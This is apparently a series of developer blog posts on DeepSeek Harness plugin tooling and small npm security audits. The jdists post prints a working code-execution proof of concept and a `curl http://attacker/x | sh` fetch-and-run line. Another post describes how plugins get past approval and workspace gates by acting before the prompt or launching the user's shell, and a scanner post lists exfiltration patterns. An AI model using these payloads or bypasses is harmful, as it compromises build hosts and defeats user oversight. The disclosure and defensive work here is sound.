Summary. dsh-github-intelligence is a DeepSeek Harness plugin with 196+ read-only developer-intelligence tools across 16 ecosystems (GitHub, GitLab, Gitee, npm, PyPI, crates.io, Docker Hub, Hugging Face, Hacker News, Stack Overflow, Reddit, dev.to, RubyGems, NuGet, the Go module proxy, ArXiv) — no API key required. This post is about the rule that made it trustworthy: a tool does not exist until its real API call has been verified live, and an API that looks public but is not gets dropped, not papered over.

The rule: verify live, then ship

Every tool in the catalog is backed by a real, anonymous HTTP call to the ecosystem’s public API. No mocks, no fixtures, no “should work” entries. A new ecosystem only joins after:

1. a real anonymous request succeeds against the documented endpoint;
2. the response parses into a stable shape;
3. the tool returns that shape to the agent;
4. rate-limit behavior is understood (TTL caching added where the API is aggressive).

The counter-example: Bitbucket

Bitbucket’s Cloud API documents anonymous access. The verification run discovered the opposite: anonymous requests now return 404/410. The API is publicly documented and effectively closed. So Bitbucket was deliberately not added — with a note explaining why. That decision is in the README to this day:

Bitbucket 已探测但故意不收录：公共 Cloud API 匿名访问现在返回 404/410—— 这是”文档写着公开、实际已关”的坑，真实 API 验证拦住了它。

This is the whole point of the discipline: a catalog is only as honest as its least-verified entry, and one fake tool poisons every downstream agent.

Read-only as a security posture

All 196+ tools are read-only. The plugin never mutates a user’s data through the API surface — no commits, no issues, no releases. For an agent harness, read-only intelligence tools are the difference between “a tool that helps” and “a tool that needs its own permission model”.

Runtime discoverability

The catalog ships a github_help tool: call it and the agent learns what the other 195 tools do and when to use them. 196 tools is too many to memorize; it is not too many to discover. The plugin also features:

• unified tool style and one shared TTL cache;
• cancellation on every request;
• UI cards for the web surface;
• verified against dsh 0.1.0-rc.6, Node 24 / pnpm 11, CI green.

Why this matters beyond one plugin

Agent tooling is entering the “API marketplace” era, and the bottleneck is no longer writing a wrapper — it is knowing which wrapper is real. A catalog that documents its own verification discipline (and its rejections) is a small but real contribution to that trust problem.

中文摘要

dsh-github-intelligence 的 196+ 只读工具、16 大生态、零 API key，核心纪律是 “工具不存在直到真实调用被验证过”：每个工具背后都是真实匿名 HTTP 调用， 新生态必须过四步（真实请求成功 → 响应结构稳定 → agent 可消费 → 限流行为 清楚）。反面案例是 Bitbucket：文档写着公开、实测匿名访问 404/410，所以 故意不收并写明原因。全部工具只读、不碰用户数据；github_help 让 agent 运行时发现工具而不是硬记 196 个名字。在”API 市场”时代，能诚实记录自己 拒绝过什么的目录，才值得被信任。

Summary. Agents keep repeating expensive lessons: a crash fixed last week gets re-debugged today, a Windows quirk gets rediscovered, an install trap gets re-hit. dsh-rule-evolve turns that loop into a traceable pipeline — experience → learn → rules (AGENTS.md) → verify (real checks) — where every rule carries its source and its last verification result, and nothing is ever learned without being checked.

The loop

experience (markdown)  →  learn  →  rules (AGENTS.md)  →  verify (real checks)

Concretely:

# 1. learn from a retrospective / troubleshooting doc
node scripts/dsh-evolve.mjs learn --from docs/troubleshooting.md --out experience.jsonl

# 2. generate rules
node scripts/dsh-evolve.mjs rules --experience experience.jsonl --out AGENTS.md

# 3. verify against the real repo — every entry gets stamped verified: true/false
node scripts/dsh-evolve.mjs verify --experience experience.jsonl --dir ./my-plugin

verify runs the real check pipeline (dsh-plugin-doctor check <dir> by default, override with --cmd). A rule that fails its check is not trusted — it is flagged.

The self-improvement round (v0.2.0)

# reflect on a completed task
node scripts/dsh-evolve.mjs reflect --task "make my plugin pass its own checks" --result retro.md --out experience.jsonl

# evolve: verify against the real repo, install into a dsh profile, log one round
node scripts/dsh-evolve.mjs evolve --experience experience.jsonl --dir ./my-plugin --profile web --log EVOLUTION.md

The rules land in <DSH_HOME>/profiles/web/AGENTS.md (previous file backed up), so the next session actually starts with the lessons. Every round is logged:

## Round 1 — 2026-08-15T…
- New rules: 5
- Verified: yes ✅
- Sources: examples/doctor-experience.md
- Command: dsh-evolve evolve --experience … --dir … --profile web

Why verification gates are the whole point

There are two ways to let an agent “evolve”:

1. Evolve which code runs — powerful, and dangerous without boundaries.
2. Evolve which rules are trusted — with a verification gate between “learned” and “applied”.

The second is the direction that stays auditable: every rule has a source and a last-verification timestamp; nothing enters the profile silently. Evolution is a reviewed diff, not a mutation.

Dogfood

The doctor repo passes its own check with five verified rules installed into a profile (see examples/demo/EVOLUTION.md). The loop is not hypothetical — it is the same repository that ships the checks, running the checks on itself.

中文摘要

agent 最大的浪费是重复踩同一个坑。dsh-rule-evolve 把”经验 → 规则 → 验证” 变成可审计流水线：每条规则带来源和最近一次验证结果，没有被真实检查过的东西 不会被信任。v0.2.0 支持 reflect → evolve 完整闭环：规则通过真实检查后安装进 dsh profile，下一轮会话直接带着教训启动，每轮写进 EVOLUTION.md。关键是方向： 不是”让代码自我修改”，而是”让被验证的规则自我进化”——进化是一次可 review 的 diff，不是一次变异。

Summary. In DeepSeek Harness, the ask-approval gate and workspace-write limits are consent / routing UX, not OS security boundaries. Two verified bypass families make this concrete:

1. #1863 — pre-execute listeners run before ask approval; a plugin can finish host operations in a separate Node.js child process and only then return ask.
2. #1923 — delegating execution to a user-privileged external shell (explorer / start / open) sidesteps both gates: the agent is not running the command, the user’s own context is.

The framing matters: plugins are installed host code. They can import Node built-ins and run anything. Approval gates intent, not capability — it cannot retroactively undo a listener that already ran host operations before returning ask.

Family 1: side effects before the ask (pre-execute)

The original finding: a tools/pre-execute listener can perform its work in an independent Node.js subprocess and only then return ask — so the approval UI shows a prompt after the operation already happened. Nothing in the harness can distinguish “the listener decided to decline” from “the listener already executed and is asking for form’s sake”.

Consequence for API design: pre-execute listeners should be pure decision functions. No child processes, no filesystem writes, no network in the listener body.

Family 2: the shell-launcher bypass

The second channel: child_process calls that hand off to the user’s own shell environment — explorer.exe, start, open, powershell, cmd — launch a process that inherits the user’s privileges and is no longer subject to the agent’s workspace/approval policy. The agent “didn’t run the command”; the user’s own context did.

Why policy checks are not a sandbox

• Approval gates who is asked, not what can run.
• Workspace-write limits route file access for agent tools; a plugin that spawns outside the sandbox is simply outside the routing table.
• Static checks (heuristics, scans) can reduce the surface but cannot enforce it — enforcement requires the OS boundary.

Fix directions, in order of leverage

1. OS-level sandbox, not just policy checks: workspace-write must map to a restricted token / container. Windows direction: CreateRestrictedToken (see #1789) so a “launched by the user’s shell” process still runs without workspace-escape privileges.
2. Contract: pre-execute listeners are pure decision functions (no child processes, no fs writes, no network).
3. Shell-launcher whitelisting: delegation surfaces that intentionally use user-privileged shells need an explicit allowlist and a warning.

Toolized review aids (honest scope)

• dsh-plugin-doctor v1.9.0 pre-execute-side-effects: scans source/lib for pre-execute listeners and flags same-file host-level side-effect APIs; FAIL names the file and matched API.
• dsh-plugin-doctor v1.11.0 shell-launcher: warns when child_process usage invokes explorer / start / open / powershell / cmd surfaces (the #1923 channel).

Both are explicitly labeled review aids, never a sandbox: 31/31 tests, self-check exit 0, and the tool’s own cmd.exe wrapper shows up as an honest WARN.

中文摘要

在 DSH 里，”ask 审批”和”workspace 写限制”是同意/路由 UX，不是 OS 安全边界。 两条已验证的绕过：① pre-execute 监听器在审批前就能用独立子进程把事做完再 返回 ask（#1863）；② 借用户特权的外部 shell（explorer/start/open）执行，直接 绕过两个闸门（#1923）。插件是装进宿主的高权限代码，审批拦的是”意图”不是 “能力”。修复优先级：OS 级沙箱（Windows 走 CreateRestrictedToken 方向， #1789）> 契约约束（pre-execute 必须是纯决策函数）> shell-launcher 白名单。 配套检测：dsh-plugin-doctor v1.9.0（pre-execute-side-effects）和 v1.11.0 （shell-launcher），明确标注为”审查辅助、不是沙箱”。

Summary. Plugin ecosystems inherit npm’s supply-chain problem: one obfuscated postinstall can exfiltrate a user’s credentials before anyone reads the source. dsh-poison-guard scans a DeepSeek Harness plugin before dsh plugin add with three layers — AST analysis, a deobfuscation decoder, and regex fallback — while stating its threat model honestly: this is defense-in-depth, not a security boundary.

Three layers

1. AST analysis via NodeSecure JS-X-Ray (the SAST behind NodeSecure CLI): variable tracing, dynamic-import resolution, obfuscator detection, eval / Function / vm sinks, data-exfiltration, serialize-environment, unsafe shell commands, and more.

2. Deobfuscation decoder: unpacks atob(), Buffer.from(..., "base64"/"hex"), String.fromCharCode(...), and \xNN / \uNNNN escapes, then re-scans the decoded strings for hidden credentials, URLs, and shell commands. This is the layer that catches the “it’s just base64, nobody will read it” attacks.

3. Regex fallback: for obvious literals, non-code files, and install-time scripts (prepare / postinstall / install / preinstall) — the classic curl ... | sh surface.

Rules carry their layer as a prefix: ast/* (JS-X-Ray), deobfuscated-* (decoder), install-script* (manifest), unprefixed (regex).

What it makes visible

The honest threat model

No static tool can catch all poisoning: detecting arbitrary malicious behavior in arbitrary code is undecidable (Rice’s theorem), and a determined attacker can always craft an obfuscation a scanner cannot see through. What the tool does is make the cheap, high-volume attacks visible to someone who would never find them by reading source — hidden exfiltration URLs, obfuscated require("child_process"), eval of base64 blobs, process.env harvests, .ssh reads, install-time curl | sh.

The real boundary is the harness sandbox: keep untrusted plugins in workspace-write, never danger-full-access. The last layer is provenance: prefer verified, maintained, clearly-authored plugins. A scanner that claims to be a security boundary would be exactly the kind of overclaim that destroys trust — so this one explicitly says what it is not.

Usage

# human-readable verdict
dsh-poison-guard scan ./some-plugin

# machine-readable, for CI gates
dsh-poison-guard scan ./some-plugin --json

# in-harness: the agent gains a plugin_scan tool
dsh plugin --profile web add dsh-poison-guard

Live demo: https://zoahdev.github.io/dsh-poison-guard/

中文摘要

插件生态继承了 npm 的供应链问题：一个混淆的 postinstall 就能在没人读源码 之前偷走凭据。dsh-poison-guard 在安装前用三层扫描：AST（JS-X-Ray：变量追踪、 动态 import、eval/Function/vm 汇、数据外发）、反混淆解码器（解 atob/base64/ fromCharCode/转义后重新扫描解码串找隐藏凭据和命令）、正则兜底（安装脚本 curl|sh）。威胁模型说得很直白：检测任意恶意行为不可判定（Rice 定理）， 这是纵深防御不是安全边界；真正的边界是 harness 沙箱（workspace-write vs danger-full-access）+ 来源可信度。检测规则按层前缀 ast/、deobfuscated-、 install-script* 分类，支持 –json 进 CI。

Summary. In one week, five independent community tools for diagnosing DeepSeek Harness converged on a single machine-readable contract (dsh-doctor/v1) — not by committee, but by publishing specs with running reference implementations and letting the format win on evidence. Thread: #1719.

The starting point: five tools, five formats

The community shipped “dsh doctor” five times:

Same niche, five output shapes. Nobody could pipe one tool into another, and CI couldn’t consume any of them uniformly. That was the actual problem — not the tools themselves.

What made convergence possible

1. A published envelope spec. { schema: "dsh-doctor/v1", generatedAt, profile, exitCode, summary, ok, checks: [{name, status, detail}] } with lowercase status (pass / warn / fail) and a minimal compatible subset of {ok, checks}.
2. Reference implementations, not promises. Each author shipped the envelope in a real release within the same day: zoahdev v1.6.0, moonquake2004 v0.2.4, ciceroyang v0.3.0, sjh9714 v0.8.x, worm-ai --doctor-json (generation 61+).
3. Independent verification with honest gap marks. moonquake2004 mapped all 16 of dsh-diagnose’s symptom families to its 28 checks with ✅ direct / ⚠️ partial / ❌ gap — including two honest gaps (sandbox denials, approval policy) that no offline probe can see.
4. Provenance without a global registry. The tool field was added as an optional provenance marker instead of forcing a global check-id registry early — “checks are data” (declarative, read-only probes) per the check-lifecycle draft.

The vocabulary freeze candidate

The check-name vocabulary went through four drafts (r1 → r4), incorporating:

• the skip status with a mandatory reason (sjh9714);
• corrected node provenance — repo-declared engines, not folklore (ciceroyang, escalated to #2259);
• pass → ok normalization debate, settled at the freeze boundary.

The r4 draft is a freeze candidate: same check names, interchangeable across implementations, CI scripts matching only checks[].name + status.

Why this is a repeatable pattern

The convergence did not happen because anyone “won”. It happened because each round published:

1. a spec diff,
2. a running implementation of that diff,
3. independent verification against the actual source,
4. an honest list of what the tool still cannot see.

The last point is the one that builds trust: a diagnostic that admits its gaps is one you can build on.

中文摘要

一周内五个社区工具（dsh-plugin-doctor / moonquake2004 dsh-doctor / ciceroyang dsh-doctor / dsh-win32 / dsh-diagnose）收敛到同一个 dsh-doctor/v1 契约，靠的不是开会，而是”规格 + 当天就上线参考实现 + 独立核对 + 诚实标注盲区”四件套。检查名词表走到 r4 冻结候选，tool 字段 解决来源溯源而不抢注册表。经验：能承认自己看不到什么的诊断工具，才值得 别人在此基础上继续盖楼。完整讨论：#1719。

Summary. jdists — a code-block processing tool used by Baidu’s FIS build ecosystem — evaluates the trigger attribute of a <!--jdists ... --> block via new Function. The attribute comes straight from the file being processed. Processing a malicious file therefore executes arbitrary code with the build process’s privileges. Verified with a file-write PoC; reported as zswang/jdists#16.

How the finding happened

The audit series had already produced two findings (a stack overflow and a regex injection), both from low-maintenance packages. The strategy: keep following the unmaintained corner of npm. fis-parser-jdists — a thin wrapper around jdists — led to the core, and the core had three new Function call sites. The interesting question was data flow: do any of them evaluate strings that come from the processed file?

The vulnerability chain

file content: <!--jdists trigger="..."-->  →  node.attrs.trigger
        ↓
execTrigger(node.attrs.trigger)             // lib/scope.js
        ↓
new Function('return (' + trigger + ')' )() // line ~478
        ↓
arbitrary code execution

The trigger attribute is not restricted to known names — the safe path only matches ^([\w-_]+)(,[\w-_]+)*$. Anything else is handed to new Function verbatim.

The PoC (verified on jdists@2.2.4)

const jdists = require('jdists')

const content = '<!--jdists trigger="(require(\'fs\').writeFileSync(\'pwned.txt\',\'PWNED\'),true)"-->keep<!--/jdists-->'

jdists.build(content, { fromString: true, remove: '' })
// build output: "keep"
// pwned.txt is created — the code ran

The build output looks completely normal. The file write happens silently alongside it.

Amplifiers

lib/jdists.js executes global.require = require for its template processors — so the evaluated code has the entire Node module system:

require('child_process').execSync('curl http://attacker/x | sh')

One malicious file in a build produces a fully compromised build environment.

Why this is serious

Build tools process files that are not always authored by the person running the build: third-party source, vendored code, CI artifacts, downloaded templates. The supply-chain scenario is direct — a poisoned file in a dependency graph reaches the parser, and the parser reaches new Function.

There is no known CVE for this. The package’s last release is from 2018 and the code has been there since.

The honest part

jdists has a second new Function site in querySelector, which evaluates quoted attribute values. I tested it specifically: it is not exploitable — the selector regex only captures a balanced quoted literal, so the eval returns a string, and escape tricks (escaped quotes, template literals) stay inside the literal. It is a code smell, not a vulnerability. Only the trigger path is verified, and that is what the report claims.

The lesson

Code-processing tools are code-execution tools. The distance between “processes your code” and “executes your code” is exactly one unescaped attribute, one missing allowlist, one new Function that forgot to ask who owns the string. When a tool evaluates file-derived content, it is a sandbox boundary — and it should be treated, and tested, like one.

中文摘要

jdists（FIS 构建生态的代码块处理工具）把被处理文件里的 trigger 属性直接送进 new Function('return (' + trigger + ')')() 求值——没有任何白名单或沙箱。 实测 PoC：恶意 trigger 属性执行 writeFileSync 静默创建文件，构建输出完全正常。 放大因素：global.require = require 把整个 Node 模块系统暴露给被求值代码， 一个恶意文件就能在构建环境里执行任意命令（供应链场景）。已上报 zswang/jdists#16，无已知 CVE。 诚实记录：另一个 new Function 点（selector 求值）实测不可利用（正则只 捕获平衡引号字面量），所以报告只声称验证过的 trigger 路径。核心教训： 处理代码的工具就是执行代码的工具——”处理你的代码”和”执行你的代码”之间， 只差一个没加白名单的属性。

Summary. Plugin ecosystems inherit supply-chain risk, but most small plugins are not vulnerable — which means “found nothing” is a normal, honest audit result, not a failure. This post is the exact checklist and workflow used on three real targets (a TOML parser, a session exporter, and a session-companion plugin). All three came back clean; the discipline is the deliverable.

The checklist

For a small package (< 2k lines of core logic) that handles untrusted input, check these in order:

1. Path traversal — user-controlled strings reaching fs paths (.., separators, Windows reserved names, trailing dots, length caps).
2. Prototype pollution — recursive merges or key assignment where __proto__ / constructor / prototype is not an own-property check.
3. Command injection — child_process with string-built commands or user input in shell contexts.
4. SSRF — fetching user-supplied URLs without scheme/host restrictions.
5. ReDoS — regexes with nested quantifiers on attacker-controlled input.
6. Unsafe execution — eval, new Function, dynamic imports of untrusted strings, unsafe deserialization.
7. Secret handling — hardcoded keys, API keys in logs/errors, weak crypto (ECB, fixed IV, missing auth tag).

The workflow

1. Pick the surface, not the README. A parser, an exporter, a template engine, or a URL fetcher is a better target than a UI plugin.
2. Read the risky files first. For each target: crypto, HTTP, PDF/HTML escaping, path handling, child_process. Then grep the whole repo for child_process, exec(, eval(, new Function — zero hits is itself a data point.
3. Verify defenses, don’t just note their absence. Seeing __proto__ in a diff is not a finding: check whether it is handled with Object.defineProperty + Object.hasOwn (correct) or raw assignment (vulnerable). Seeing escapePdfText matters less than what it escapes: ( ) \ and control chars as octal = correct; only < > = weak.
4. Record files + lines. An audit trail that names the file, the line, and the defense is worth more than a verdict.
5. Report only real findings. A low-severity observation (e.g., a symlink-following export directory) is a note to the maintainer, not a security advisory. Keep the bar high: GHSA-grade findings only.

What three real audits found

All three are defensively implemented. That is not luck — it is what decent small packages look like, and it is exactly why “found nothing” must be an acceptable outcome. The alternative — shipping a finding that does not hold up to review — destroys the trust the audit was supposed to build.

Why “found nothing” still counts

1. It is honest: most tools are not vulnerable.
2. It builds a corpus of verified-clean packages — positive records that later audits (and users) can rely on.
3. The discipline is the deliverable: a reproducible checklist, named files and lines, and a defensible verdict. That survives even when the vulnerability count is zero.

中文摘要

小插件大多没有漏洞，”没发现”是正常且诚实的审计结果。这篇是三个真实靶标 （TOML 解析器 / 会话导出 / 会话伴侣插件）用的清单与流程：路径遍历、原型污染、 命令注入、SSRF、ReDoS、危险执行、密钥处理七项；先读风险文件（crypto/http/ pdf/路径），再全仓搜 child_process/exec/eval；验证防御而不是只看有没有出现 关键词（__proto__ 要确认是 defineProperty+hasOwn 而不是裸赋值；转义要确认 转了什么）。三个靶标全部干净。关键原则：只报站得住的发现，低危观察写给 维护者而不是当 advisory；”没发现”也是资产——审计痕迹（文件+行号+防御说明） 本身就是交付物。

Summary. Plugin ecosystems die from distrust, not from lack of ideas: supply-chain attacks, broken installs, and unverifiable quality claims chase users away. Over two weeks the DeepSeek Harness community built a trust layer out of four pieces — verification discipline, poison detection, registry contracts, and open diagnostics. This post is the map of that layer and the rules that keep it honest.

The problem

An ecosystem with 900+ plugins is a discovery win and a trust liability at the same time. Users need to answer three questions before they install anything:

1. Will it load? (dependency compatibility, build, manifest)
2. Is it malicious? (obfuscated exfiltration, hidden shell launches)
3. Can I verify the claim? (what does “works” even mean, who checked)

If any of the three is answered by vibes, the ecosystem loses users.

Layer 1: verification discipline

dsh-plugin-doctor turns “will it load” into a machine-checkable question: manifest → build → pack → fresh profile install → boot → real tool invocation. The CI template does not stop at “plugin loads”; it calls the tool’s handler and asserts the result. Exit codes are stable (0 pass / 1 fixable / 2 not a plugin), output is JSON, and the profile-shadow check catches the #1697 dual-instance trap before users hit it.

Layer 2: poison detection

dsh-poison-guard scans plugins before install with AST parsing (js-x-ray) plus anti-obfuscation decoding, flagging hidden exfiltration, eval-of-dynamic- content, and concealed shell invocations. Its scope is stated honestly: a heuristic review aid, not a sandbox. The sandbox question is an OS boundary problem (#1863/#1923), and pretending a static scan is a security boundary would be exactly the kind of claim that destroys trust.

Layer 3: registry contracts

dsh-subscribe is a Steam-style marketplace: browse 900+ plugins, subscribe in the browser, one command installs everything into the profile. The registry entry format is a contract (RFC #1846, community registry contract v2):

• id stable, owner-suffixed for duplicates;
• install.spec is authoritative, never guessed from the homepage;
• verified: true means “curator exercised CI + release + install + runtime smoke” — not “security audited”;
• source preserves provenance for mirrored entries.

The narrow definition of verified is the point: a wide claim would be useless.

Layer 4: open diagnostics

Five independent tools converged on one dsh-doctor/v1 envelope (schema, lowercase status, checks with names/details), plus a check-lifecycle draft where “checks are data”. The vocabulary freeze candidate means CI scripts can match checks[].name across implementations. Diagnostics that admit their gaps (sandbox denials, approval policy — no offline probe can see them) are the ones you can build on.

The rules that keep it honest

1. Narrow claims beat impressive ones. “verified” never means “audited”; “review aid” never means “sandbox”.
2. Rejections are part of the product. Bitbucket was excluded from the catalog because its “public” API returns 404/410 anonymously — the rejection is documented in the README.
3. Everything is reproducible. Patches carry root causes + regression tests; the weekly map’s numbers come from live sources; the ledger separates “ready to submit” from “diagnosed, no patch yet”.
4. Contracts over chaos. One envelope, one vocabulary, one registry schema — agreed by shipping reference implementations, not by committee.

The ecosystem map (weekly editions) and the patch ledger live in dsh-ecosystem and dsh-docs.

中文摘要

插件生态死于不信任，而不是缺想法。DSH 社区两周内搭了四层信任设施： ① 验证纪律（doctor：manifest→build→pack→新 profile 安装→启动→真实调用 tool， 退出码稳定、输出 JSON）；② 投毒检测（poison-guard：AST + 反混淆，明说是审查 辅助不是沙箱）；③ 注册表契约（subscribe：900+ 插件一键订阅， verified 只表示”策展人跑过 CI+安装+运行时冒烟”，绝不等同安全审计）； ④ 开放诊断（5 个工具收敛到 dsh-doctor/v1，检查名词表冻结候选，敢承认盲区）。 四条规则：窄而准的声明 > 夸张的声明；拒绝记录也是产品；一切可复现； 用契约而不是争论达成一致。

Summary. The second real finding of the audit series: a config parser for the FIS build tool, last published in 2017 and untouched since, interpolates config keys into a RegExp without escaping. Keys with regex metacharacters either corrupt the generated output or throw a SyntaxError that kills the build. Reported as huhuaaa/fis-parser-config#1.

The target

After the first finding (spdx-expression-parse), the audit strategy shifted: well-maintained packages are defensively coded, so the next targets were low-maintenance parsers nobody has looked at recently. fis-parser-config fit perfectly: a config-variable substitution plugin for Baidu’s FIS build tool, last published nine years ago.

The bug

var reg = new RegExp('__conf\\(' + i + '\\)', 'g')

i is a config key, interpolated into the pattern with no escaping. Regex metacharacters in a key change what the pattern means:

All three verified with a minimal reproduction before reporting:

parse('__conf(a+b) __conf(aab)', 'x', { keys: { 'a+b': 'VALUE' } })
// → '__conf(a+b) "VALUE"'  ← the wrong token was replaced

parse('__conf(a( )', 'x', { keys: { 'a(': 'VALUE' } })
// → SyntaxError: Invalid regular expression: /__conf\(a(\)/g

Why this is a vulnerability, not a nit

The trigger surface is config keys — which sounds trusted. But “trusted” breaks in practice: shared config files, CI-injected values, configs generated from untrusted inputs, tampered files in a compromised workspace. Once a key is attacker-influenced, the result is either silent data corruption in generated output or a hard crash — both in a build pipeline where failures cascade.

The lesson: packages don’t die, they just stop being maintained

The interesting thing about this finding is that it was waiting: the code has been wrong since 2017, shipped in a package that still installs and runs in build pipelines. Maintainers move on; code does not. The low-maintenance corner of npm is not empty of bugs — it is full of bugs nobody has reported because nobody has looked.

The fix is trivial and the report is polite: escape the key (key.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')) or use plain string search, since the match target is a fixed literal.

中文摘要

审计系列第二个真实发现：FIS 构建工具的配置解析插件（2017 年后未再发布， 9 年未维护）把配置键未转义拼进 new RegExp(...)——键含正则元字符时要么错误 替换输出（数据损坏），要么 SyntaxError 崩溃（DoS）。三种键型全部实测复现： a+b 误替换 __conf(aab)、a( 直接崩、a.b 任意字符匹配。触发面是配置键， 看似可信，但共享配置/CI 注入/被篡改文件都会打破信任。核心教训：包不会死， 只是没人维护——低维护角落不是没有 bug，而是没人去看。修复很简单： 转义键名或改用字符串查找。

Summary. During the audit of fast-xml-parser v5.7.3, I found what looked like a real bug: an entity.regx typo (should be entity.regex) in EntitiesParser.replaceEntitiesValue, which should have made DOCTYPE entity replacement silently never work — and possibly corrupt values by replacing the literal text “undefined”. Before filing, I ran the reproduction. The bug was not in the active code path: &foo; was replaced correctly, and no data was corrupted. This post is about why that near-miss matters.

The code-level hypothesis

In fast-xml-parser v5.7.3’s src/v6/EntitiesParser.js:

replaceEntitiesValue(val) {
  if (typeof val === "string" && val.length > 0) {
    for (let entityName in this.docTypeEntities) {
      const entity = this.docTypeEntities[entityName];
      val = val.replace(entity.regx, entity.val);   // ← typo: regx, not regex
    }
    ...
  }
}

addDocTypeEntities stores the pattern under regex, but the replacement loop reads regx — undefined. Two plausible consequences:

1. DOCTYPE-defined entities (<!ENTITY foo "BAR">) are never replaced;
2. String.prototype.replace(undefined, x) coerces undefined to the string "undefined" and replaces the first literal “undefined” in the value with the entity’s replacement — silent data corruption.

That second consequence would have made this more than a nit: a parser corrupting values that contain the word “undefined” is a real bug.

The reproduction

const { XMLParser } = require('fast-xml-parser')
const p = new XMLParser()

// Hypothesis 1: entity never replaced
p.parse('<!DOCTYPE r [<!ENTITY foo "BAR">]><r>&foo;</r>')
// → {"r":"BAR"}   ← replaced correctly!

// Hypothesis 2: literal "undefined" corrupted
p.parse('<!DOCTYPE r [<!ENTITY foo "BAR">]><r>undefined</r>')
// → {"r":"undefined"}   ← untouched!

Both hypotheses failed. The active parser (src/xmlparser/) handles DOCTYPE entities correctly; the regx typo lives only in a non-active source copy under src/v6/. A bug report filed from the code-level hypothesis alone would have been wrong — and worse, it would have burned exactly the maintainer trust that the audit exists to build.

The three gates before reporting

1. Code-level hypothesis — “this looks wrong because X”.
2. Minimal reproduction — run the smallest input that should trigger X, and also run the input that should not.
3. Scope check — is this code path actually active? Which entry point, which version, which build?

The reproduction is the gate that separates a finding from an opinion. In this case it caught the difference between “source copy” and “active code path” — the same difference that earlier produced a real finding (spdx-expression-parse, issue #38) where the recursion was verified before reporting.

Why this is worth writing down

Audits produce false positives. The professional move is not to pretend they never happen — it is to make them cheap and visible:

• the reproduction came before the report;
• the record shows the hypothesis, the test, and the correction;
• the maintainer was never asked to triage a bug that did not exist.

That is the actual trust model of security work at this scale: not “never wrong”, but “wrong cheaply, in private, with the evidence attached”.

中文摘要

审计 fast-xml-parser v5.7.3 时看到一个 entity.regx 拼写错误（应为 regex），推理出两个后果：DOCTYPE 实体永不替换 + 值里的字面量 “undefined” 被悄悄替换成实体值（数据损坏）。提交前先跑了复现：&foo; 被正确替换成 “BAR”，字面量 “undefined” 原样保留——拼写错误只存在于非活跃的 src/v6/ 源码副本，活跃解析器（xmlparser/）没有这个 bug。差点误报。纪律：报漏洞前过 三关——代码假设 → 最小复现（含”应该不触发”的对照）→ 作用域检查（这个代码 路径真的激活吗）。审计必然有假阳性，专业不是”从不犯错”，而是”错得便宜、 错得私有、证据随附”。